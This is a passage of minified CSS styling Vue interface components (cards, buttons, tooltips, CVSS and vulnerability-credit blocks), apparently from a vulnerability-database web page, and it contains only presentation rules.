.vue--card__anchor[href][data-v-d6f7b9fc]:after{background-color:#d3d3d9;content:\"#\";display:block;height:24px;left:-36px;line-height:24px;opacity:0;position:absolute;top:0;transition:opacity .2s ease-in-out;width:24px;text-align:center}.vue--card--legacy .vue--card__anchor-icon[data-v-d6f7b9fc]{display:none}.vue--card--legacy .vue--card__header[data-v-d6f7b9fc]{border-bottom:1px solid #d3d3d9;margin-bottom:16px;display:flex;justify-content:space-between}.vue--card--legacy .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500;margin:0 0 8px -12px;padding-left:12px}.vue--card--legacy .vue--card__header--note[data-v-d6f7b9fc]{font-size:.8125rem;margin:0}.vue--card--legacy .vue--card__intro[data-v-d6f7b9fc]{margin-bottom:24px}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card--legacy .vue--card__alert[data-v-d6f7b9fc]{margin-bottom:12px}.vue--card--legacy .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;color:#727184;border-top:1px solid #d3d3d9;font-size:.8125rem;margin-top:16px;padding-top:12px}\n.vue--block[data-v-3645d675]{background-color:#fff;box-shadow:inset 0 0 0 1px #d3d3d9;border-radius:2px;padding:1px}.vue--block--instruction[data-v-3645d675]{background-color:#f6fafd;box-shadow:inset 0 0 0 1px #cce0f5,0 0 0 2px transparent}.vue--block--danger[data-v-3645d675]{background-color:#f8e8e8;box-shadow:inset 0 0 0 1px #e3a1a1,0 0 0 2px transparent}.vue--block--success[data-v-3645d675]{background-color:#e8f1f1;box-shadow:inset 0 0 0 1px #a1c8c8,0 0 0 2px transparent}.vue--block--warning[data-v-3645d675]{background-color:#fbf2e7;box-shadow:inset 0 0 0 1px #e9af6d,0 0 0 2px transparent}.vue--block--info[data-v-3645d675]{background-color:#edecf6;box-shadow:inset 0 0 0 1px #938fc7,0 0 0 2px transparent}.vue--block--severity-critical[data-v-3645d675],.vue--block--severity-high[data-v-3645d675]{box-shadow:inset 0 0 0 1px #cc4f19,0 0 0 2px transparent}.vue--block--severity-medium[data-v-3645d675]{box-shadow:inset 0 0 0 1px #d68100,0 0 0 2px transparent}.vue--block--severity-low[data-v-3645d675]{box-shadow:inset 0 0 0 1px #86859d,0 0 0 2px transparent}\n.twitter-icon[data-v-0807406b]{color:#555463}.cvss-details-item[data-v-0807406b]{display:flex;justify-content:space-between;padding:16px 0}.cvss-details-item+.cvss-details-item[data-v-0807406b]{border-top:1px solid #e4e3e8}.cvss-details-item__tooltip[data-v-0807406b]{color:#938fc7;margin-left:8px}\n.vue--tooltip[data-v-06ded3b9]{display:inline-block;position:relative}.vue--tooltip__label[data-v-06ded3b9]{color:inherit;display:block}.vue--tooltip__label[data-v-06ded3b9]  svg{height:1rem;width:1rem}.vue--tooltip__arrow[data-v-06ded3b9],.vue--tooltip__arrow[data-v-06ded3b9]:before{position:absolute;z-index:-1}.vue--tooltip__arrow[data-v-06ded3b9]:before{content:\"\";border:6px solid transparent;transform:translateX(-50%)}.vue--tooltip__description[data-v-06ded3b9]{background-color:#211f47;border-radius:4px;color:#fff;left:50%;padding:12px;text-transform:none;transform:translateX(-50%);word-break:normal;white-space:normal;width:350px;z-index:10}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]{bottom:0}.vue--tooltip__description[data-popper-placement^=top]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-top-color:#211f47}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]{top:-12px}.vue--tooltip__description[data-popper-placement^=bottom]>.vue--tooltip__arrow[data-v-06ded3b9]:before{border-bottom-color:#211f47}.vue--tooltip--small .vue--tooltip__label[data-v-06ded3b9]  svg{height:.875rem;width:.875rem}.vue--tooltip--large .vue--tooltip__label[data-v-06ded3b9]  svg{height:1.125rem;width:1.125rem}.vue--tooltip--auto .vue--tooltip__description[data-v-06ded3b9]{width:auto;white-space:nowrap}.vue--tooltip--quiet[data-v-06ded3b9]{color:#727184}.vue--tooltip--help .vue--tooltip__label[data-v-06ded3b9]:hover{cursor:help}\n.vue--button[data-v-94138f12]{border:2px solid transparent;border-radius:4px;cursor:pointer;display:inline-block;height:2.375rem;line-height:2;padding:0 17px;transition:background-color .2s ease,color .2s ease,border-color .2s ease,box-shadow .2s ease;transform:scale(1.001);white-space:nowrap}.vue--button+.vue--button[data-v-94138f12]{margin-left:12px}.vue--button.hover[data-v-94138f12],.vue--button[data-v-94138f12]:hover{text-decoration:none}.vue--button .material-design-icon[data-v-94138f12]{position:relative;left:-6px;right:0;top:-2px}.vue--button .vue--badge[data-v-94138f12],.vue--button .vue--label[data-v-94138f12]{position:relative;right:-4px;margin-top:-1px}.vue--button[disabled][data-v-94138f12]{cursor:no-drop;opacity:.6}.vue--button[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:#d3d3d9;color:#393842}.vue--button[disabled].vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#727184}.vue--button--ghost[data-v-94138f12]{border-width:1px;padding:0 18px}.vue--button--ghost.focus[data-v-94138f12],.vue--button--ghost[data-v-94138f12]:focus{padding:0 17px}.vue--button--ghost.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--large[data-v-94138f12]:focus{padding:0 23px}.vue--button--ghost.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--small[data-v-94138f12]:focus{padding:0 11px}.vue--button--ghost.vue--button--basic.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic[data-v-94138f12]:focus{box-shadow:none;padding:0 18px}.vue--button--ghost.vue--button--basic.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--basic.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--large[data-v-94138f12]:focus{padding:0 24px}.vue--button--ghost.vue--button--basic.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--small[data-v-94138f12]:focus{padding:0 12px}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#157575;color:#fff}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#188b8b;background-color:#188b8b}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#157575;color:#157575}.vue--button--cta:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#157575}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#188b8b;border-color:#188b8b;color:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#b81414;color:#fff}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#cf1717;background-color:#cf1717}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#b81414;color:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#cf1717;border-color:#cf1717;color:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#fff;color:#393842}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#393842}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#fff;background-color:#fff}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#fff;color:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#fff;border-color:#fff;color:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#393842}.vue--button--inverted:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):hover{border-width:2px;box-shadow:inset 0 0 0 1px #393842;outline:none;padding:0 17px}.vue--button--inverted:not([disabled]).vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--large[data-v-94138f12]:hover{padding:0 24px}.vue--button--inverted:not([disabled]).vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--small[data-v-94138f12]:hover{padding:0 12px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--extra-large[data-v-94138f12]:hover,.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--large[data-v-94138f12]:hover{padding:0 23px}.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small.hover[data-v-94138f12],.vue--button--inverted:not([disabled]).vue--button--ghost.vue--button--small[data-v-94138f12]:hover{padding:0 11px}.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#393842}.vue--button--basic:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#393842}.vue--button--basic:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--basic:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:transparent!important;color:#393842;border-color:#4b45a1}.vue--button--animated-pulse-decorative[data-v-94138f12],.vue--button--animated-shimmer-decorative[data-v-94138f12],.vue--button--decorative[data-v-94138f12]{padding:0 19px}.vue--button--animated-pulse-decorative.vue--button--small[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--small[data-v-94138f12],.vue--button--decorative.vue--button--small[data-v-94138f12]{padding:0 14px}.vue--button--animated-pulse-decorative.vue--button--large[data-v-94138f12],.vue--button--animated-shimmer-decorative.vue--button--large[data-v-94138f12],.vue--button--decorative.vue--button--large[data-v-94138f12]{padding:0 26px}.vue--button--decorative[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:1;padding:0 19px}.vue--button--decorative[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-pulse[data-v-94138f12]{animation:pulse-data-v-94138f12 2s infinite;background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;padding:0 19px}.vue--button--decorative-animated-pulse[data-v-94138f12]:hover{color:#fff;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]{background:linear-gradient(90deg,#7530a6,#461d9f);border:2px;color:#fff;opacity:.8;opacity:1;overflow:hidden;position:relative;padding:0 19px}.vue--button--decorative-animated-shimmer[data-v-94138f12]:hover{color:#fff;opacity:1;opacity:.9}.vue--button--decorative-animated-shimmer[data-v-94138f12]:after{animation:shimmer-data-v-94138f12 6s ease-in-out .2s infinite;animation-fill-mode:forwards;content:\"\";position:absolute;top:0;left:-200%;width:200%;height:100%;opacity:0;background:hsla(0,0%,100%,.13);background:linear-gradient(90deg,hsla(0,0%,100%,.13) 0,hsla(0,0%,100%,.13) 77%,hsla(0,0%,100%,.7) 92%,hsla(0,0%,100%,0))}.vue--button--cta-link[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12],.vue--button--link[data-v-94138f12]{background-color:transparent;border:none;color:#4b45a1;height:auto;line-height:inherit;padding:0}.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:4px;left:0}.vue--button--cta-link .vue--label[data-v-94138f12],.vue--button--dimmed-link .vue--label[data-v-94138f12],.vue--button--inverted-link .vue--label[data-v-94138f12],.vue--button--link .vue--label[data-v-94138f12]{padding-right:4px}.vue--button--cta-link.vue--button--large[data-v-94138f12],.vue--button--cta-link.vue--button--small[data-v-94138f12],.vue--button--dimmed-link.vue--button--large[data-v-94138f12],.vue--button--dimmed-link.vue--button--small[data-v-94138f12],.vue--button--inverted-link.vue--button--large[data-v-94138f12],.vue--button--inverted-link.vue--button--small[data-v-94138f12],.vue--button--link.vue--button--large[data-v-94138f12],.vue--button--link.vue--button--small[data-v-94138f12]{padding:0}.vue--button--cta-link[data-v-94138f12]:not([disabled]){color:#157575}.vue--button--cta-link:not([disabled]).focus[data-v-94138f12],.vue--button--cta-link:not([disabled]).hover[data-v-94138f12],.vue--button--cta-link[data-v-94138f12]:not([disabled]):focus,.vue--button--cta-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#157575;text-decoration:underline}.vue--button--link[data-v-94138f12]:not([disabled]){color:#4b45a1}.vue--button--link:not([disabled]).focus[data-v-94138f12],.vue--button--link:not([disabled]).hover[data-v-94138f12],.vue--button--link[data-v-94138f12]:not([disabled]):focus,.vue--button--link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#4b45a1;text-decoration:underline}.vue--button--inverted-link[data-v-94138f12]:not([disabled]){color:#fff}.vue--button--inverted-link:not([disabled]).focus[data-v-94138f12],.vue--button--inverted-link:not([disabled]).hover[data-v-94138f12],.vue--button--inverted-link[data-v-94138f12]:not([disabled]):focus,.vue--button--inverted-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#fff;text-decoration:underline}.vue--button--dimmed-link[data-v-94138f12]:not([disabled]){color:#727184}.vue--button--dimmed-link:not([disabled]).focus[data-v-94138f12],.vue--button--dimmed-link:not([disabled]).hover[data-v-94138f12],.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):focus,.vue--button--dimmed-link[data-v-94138f12]:not([disabled]):hover{box-shadow:none;color:#727184;text-decoration:underline}.vue--button--cta-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--dimmed-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--inverted-link[disabled][data-v-94138f12]:not(.vue--button--ghost),.vue--button--link[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:transparent;opacity:.5}.vue--button--large[data-v-94138f12]{font-size:1.125rem;height:2.75rem;padding:0 24px}.vue--button--large.vue--button--cta-link[data-v-94138f12],.vue--button--large.vue--button--dimmed-link[data-v-94138f12],.vue--button--large.vue--button--inverted-link[data-v-94138f12],.vue--button--large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--large .material-design-icon[data-v-94138f12]  svg{height:28px;width:28px}.vue--button--large .vue--label[data-v-94138f12]{top:-2px}.vue--button--extra-large[data-v-94138f12]{font-size:1.125rem;height:3.125rem;padding:0 24px}.vue--button--extra-large.vue--button--cta-link[data-v-94138f12],.vue--button--extra-large.vue--button--dimmed-link[data-v-94138f12],.vue--button--extra-large.vue--button--inverted-link[data-v-94138f12],.vue--button--extra-large.vue--button--link[data-v-94138f12]{height:auto}.vue--button--extra-large .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--extra-large .material-design-icon[data-v-94138f12]  svg{height:30px;width:30px}.vue--button--extra-large .vue--label[data-v-94138f12]{top:-2px}.vue--button--small[data-v-94138f12]{font-size:.875rem;height:2rem;line-height:2;padding:0 12px}.vue--button--small+.vue--button--small[data-v-94138f12]{margin-left:4px}.vue--button--small.vue--button--cta-link[data-v-94138f12],.vue--button--small.vue--button--dimmed-link[data-v-94138f12],.vue--button--small.vue--button--inverted-link[data-v-94138f12],.vue--button--small.vue--button--link[data-v-94138f12]{height:auto;line-height:1.5}.vue--button--small .material-design-icon[data-v-94138f12]{top:-1px}.vue--button--small .material-design-icon[data-v-94138f12]  svg{height:18px;width:18px}.vue--button--icon.vue--button--cta .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--danger .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted .material-design-icon[data-v-94138f12]{left:auto;right:auto}.vue--button--icon.vue--button--cta-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--inverted-link .material-design-icon[data-v-94138f12],.vue--button--icon.vue--button--link .material-design-icon[data-v-94138f12]{margin-right:0;left:auto;right:auto;top:0}.vue--button--icon.vue--button--cta-link.focus[data-v-94138f12],.vue--button--icon.vue--button--cta-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--dimmed-link.focus[data-v-94138f12],.vue--button--icon.vue--button--dimmed-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--inverted-link.focus[data-v-94138f12],.vue--button--icon.vue--button--inverted-link[data-v-94138f12]:focus,.vue--button--icon.vue--button--link.focus[data-v-94138f12],.vue--button--icon.vue--button--link[data-v-94138f12]:focus{outline:1px dotted #4b45a1}@keyframes pulse-data-v-94138f12{0%{box-shadow:0 0 0 0 rgba(117,48,166,.6)}70%{box-shadow:0 0 0 10px rgba(117,48,166,0)}to{box-shadow:0 0 0 0 rgba(117,48,166,0)}}@keyframes shimmer-data-v-94138f12{10%{opacity:1;left:-30%;transition-property:left,opacity;transition-duration:10s,.15s;transition-timing-function:ease}to{opacity:0;left:-30%;transition-property:left,opacity}}\n.vue--expand__container[data-v-1df76973]{overflow:hidden}.vue--expand.expand-enter-active[data-v-1df76973],.vue--expand.expand-leave-active[data-v-1df76973]{transition:height .25s ease-in-out;overflow:hidden}.vue--expand.expand-enter[data-v-1df76973],.vue--expand.expand-leave-to[data-v-1df76973]{height:0}.vue--expand-legacy__container[data-v-1df76973]{overflow:hidden}.vue--expand-legacy.expand-enter-active[data-v-1df76973],.vue--expand-legacy.expand-leave-active[data-v-1df76973]{height:auto;overflow:hidden}.vue--expand-legacy.expand-enter[data-v-1df76973],.vue--expand-legacy.expand-leave-to[data-v-1df76973]{height:0}\n.threat-intelligence-detail__heading[data-v-29f81d0e]{margin-bottom:16px}sup[data-v-29f81d0e]{vertical-align:super;font-size:smaller;display:inline-block;margin-top:-8px;position:relative}.epss_link[data-v-29f81d0e]{color:#fff;fill:#fff;opacity:.5}.epss_link[data-v-29f81d0e]:hover{opacity:1}.epss_link[data-v-29f81d0e]  svg{height:1.875rem;width:1.875rem;margin-right:12px}\n.vendorcvss__badge[data-v-6c7e90d0]{margin-right:12px}.vendorcvss__details[data-v-6c7e90d0]{padding:0 24px 12px}.vendorcvss .no-cvss-alert[data-v-6c7e90d0]{margin-bottom:24px;margin-top:8px}.vendorcvss .no-cvss-alert.information-outline-icon[data-v-6c7e90d0]{color:#938fc7}.vendorcvss--empty[data-v-6c7e90d0]{padding:13px 16px 13px 24px;display:flex;justify-content:space-between}.vendorcvss .details-extra-padding[data-v-6c7e90d0]{padding-top:72px}@media screen and (max-width:720px){.details-extra-padding[data-v-6c7e90d0]{margin:32px 0;padding-top:1px}}\n.vue--block-expandable+.vue--block-expandable[data-v-b503da1a]{margin-top:12px}.vue--block-expandable__container[data-v-b503da1a]{cursor:pointer;align-items:stretch;display:flex;flex-direction:row;justify-content:space-between;position:relative}.vue--block-expandable__additional[data-v-b503da1a]{align-items:center;display:flex;justify-content:space-between;padding-right:12px}.vue--block-expandable__title[data-v-b503da1a]{align-items:center;display:flex;position:relative;width:100%}.vue--block-expandable__text[data-v-b503da1a]{display:inline;flex-grow:1}.vue--block-expandable__chevron[data-v-b503da1a]{display:inline-block;margin-right:8px;transition:transform .2s ease-in-out;position:relative}.vue--block-expandable__chevron--collapsed[data-v-b503da1a]{transform:rotate(-90deg)}.vue--block-expandable--large .vue--block-expandable__title[data-v-b503da1a]{font-size:1.125em}.vue--block-expandable--large .vue--block-expandable__chevron[data-v-b503da1a]  svg{height:1.5rem;width:1.5rem}.vue--block-expandable--small .vue--block-expandable__title[data-v-b503da1a]{font-size:1em}.vue--block-expandable--small .vue--block-expandable__chevron[data-v-b503da1a]  svg{height:1.25rem;width:1.25rem}.vue--block-expandable--sticky .vue--block-expandable__header[data-v-b503da1a]{background-color:inherit;position:sticky;top:0;z-index:3}.vue--block-expandable--sticky.vue--block-expandable--open .vue--block-expandable__header[data-v-b503da1a]{border-bottom:1px solid rgba(211,211,217,.5)}.vue--block-expandable--columned .vue--block-expandable__container[data-v-b503da1a]{flex-direction:column}.vue--block-expandable--default[data-v-b503da1a]:focus:not(.vue--block-expandable--disabled){box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease}.vue--block-expandable--default:focus:not(.vue--block-expandable--disabled).focus[data-v-b503da1a],.vue--block-expandable--default:focus:not(.vue--block-expandable--disabled).hover[data-v-b503da1a],.vue--block-expandable--default[data-v-b503da1a]:focus:not(.vue--block-expandable--disabled):focus,.vue--block-expandable--default[data-v-b503da1a]:focus:not(.vue--block-expandable--disabled):hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--block-expandable--default .vue--block-expandable__title[data-v-b503da1a]{padding:12px}.vue--block-expandable--default.vue--block-expandable--large:not(.vue--block-expandable--no-padding) .vue--block-expandable__content[data-v-b503da1a]{padding:0 24px 16px 48px}.vue--block-expandable--default.vue--block-expandable--small:not(.vue--block-expandable--no-padding) .vue--block-expandable__content[data-v-b503da1a]{padding:0 16px 12px 40px}.vue--block-expandable--minimal[data-v-b503da1a]{position:relative;width:100%}.vue--block-expandable--minimal .vue--block-expandable__chevron[data-v-b503da1a]{top:-1px}.vue--block-expandable--minimal .vue--block-expandable__title[data-v-b503da1a]{padding:0;position:relative}.vue--block-expandable--minimal .vue--block-expandable__additional[data-v-b503da1a]{padding:0}.vue--block-expandable--minimal.vue--block-expandable--large:not(.vue--block-expandable--no-padding) .vue--block-expandable__content[data-v-b503da1a]{padding:0 24px 16px 32px}.vue--block-expandable--minimal.vue--block-expandable--small:not(.vue--block-expandable--no-padding) .vue--block-expandable__content[data-v-b503da1a]{padding:0 16px 12px 28px}.vue--block-expandable--no-padding>.vue--block-expandable__content[data-v-b503da1a]{padding:0!important}\n.vue--expand__container[data-v-42d2c006]{overflow:hidden}.vue--expand.expand-enter-active[data-v-42d2c006],.vue--expand.expand-leave-active[data-v-42d2c006]{transition:height .25s ease-in-out;overflow:hidden}.vue--expand.expand-enter[data-v-42d2c006],.vue--expand.expand-leave-to[data-v-42d2c006]{height:0}.vue--expand-legacy__container[data-v-42d2c006]{overflow:hidden}.vue--expand-legacy.expand-enter-active[data-v-42d2c006],.vue--expand-legacy.expand-leave-active[data-v-42d2c006]{height:auto;overflow:hidden}.vue--expand-legacy.expand-enter[data-v-42d2c006],.vue--expand-legacy.expand-leave-to[data-v-42d2c006]{height:0}\n.register-cta[data-v-f20bb186]{font-size:.9375rem;margin:0}.register-cta__body.small[data-v-f20bb186]{padding:24px}.register-cta__body.small p[data-v-f20bb186]{margin-bottom:24px}.register-cta__body.small p.heading[data-v-f20bb186]{color:#1c1c21;font-weight:500}.register-cta__body.medium[data-v-f20bb186]{align-items:center;display:flex;flex-wrap:wrap;justify-content:center;align-content:space-between;padding:12px 16px 12px 24px}@media only screen and (min-width:40em){.register-cta__body.medium[data-v-f20bb186]{justify-content:space-between}.register-cta__body.medium p[data-v-f20bb186]{margin:0}}\n.learn-cta[data-v-455b9950]{font-size:.9375rem;margin:0}.learn-cta__body[data-v-455b9950]{padding:24px}.learn-cta__body p[data-v-455b9950]{margin-bottom:24px}.learn-cta__heading[data-v-455b9950]{color:#1c1c21;font-weight:500}.learn-cta__icon[data-v-455b9950]{display:inline-block;margin-right:4px;color:#4b45a1}\n.vuln-credit[data-v-4aaa4f94]{margin:0;padding:8px 24px}.vuln-credit .credits__label[data-v-4aaa4f94]{text-transform:capitalize;white-space:nowrap}.vuln-credit ul[data-v-4aaa4f94]{margin:0;padding:0}.vuln-credit li[data-v-4aaa4f94]{display:flex;justify-content:space-between;border-top:1px solid #e4e3e8;padding:16px 0;margin:0;text-align:right;word-break:break-all}.vuln-credit li[data-v-4aaa4f94]:first-child{border-top:none}\n.base-buttons[data-v-361c2e3a]{margin-top:12px}.base-buttons .base-button[data-v-361c2e3a]{margin:24px 12px 0 0}\n.item-tooltip[data-v-2bb0c06e]{color:#938fc7}.vuln-info-block[data-v-2bb0c06e]{align-items:center;display:flex;font-size:13px;text-transform:uppercase;flex-wrap:wrap}.vuln-info-block[data-v-2bb0c06e]>:not(:last-child){margin-right:12px}.vuln-info-block h4.date[data-v-2bb0c06e]{font-size:13px;display:inline-block}\n.item-tooltip[data-v-b74dadd4]{color:#938fc7}\n.vue--icon-bar[data-v-39001840]{background-color:#fff;display:flex;flex-direction:column;width:30%;min-width:90px}@media only screen and (min-width:71.25em){.vue--icon-bar[data-v-39001840]{flex-direction:row;min-width:auto;width:auto}}.vue--icon-bar__item[data-v-39001840]{align-items:center;cursor:pointer;display:flex;flex:1 0 0%;font-size:.8125rem;flex-direction:row;min-width:90px;padding:8px 12px;border-bottom:1px solid #e5e8ed;transition:all .2s ease;min-height:90px;justify-content:center}@media only screen and (min-width:71.25em){.vue--icon-bar__item[data-v-39001840]{flex-direction:column;border-right:1px solid #e5e8ed;border-bottom:none}.vue--icon-bar__item span[data-v-39001840]{text-align:center;width:100%}}.vue--icon-bar__item[data-v-39001840]:last-of-type{border:none}.vue--icon-bar__item[data-v-39001840]:focus,.vue--icon-bar__item[data-v-39001840]:hover{color:#4b45a1;background:#f6fafd}.vue--icon-bar__icon[data-v-39001840]  svg{height:1.5625rem;width:1.5625rem;margin-right:8px}@media only screen and (min-width:71.25em){.vue--icon-bar__icon[data-v-39001840]  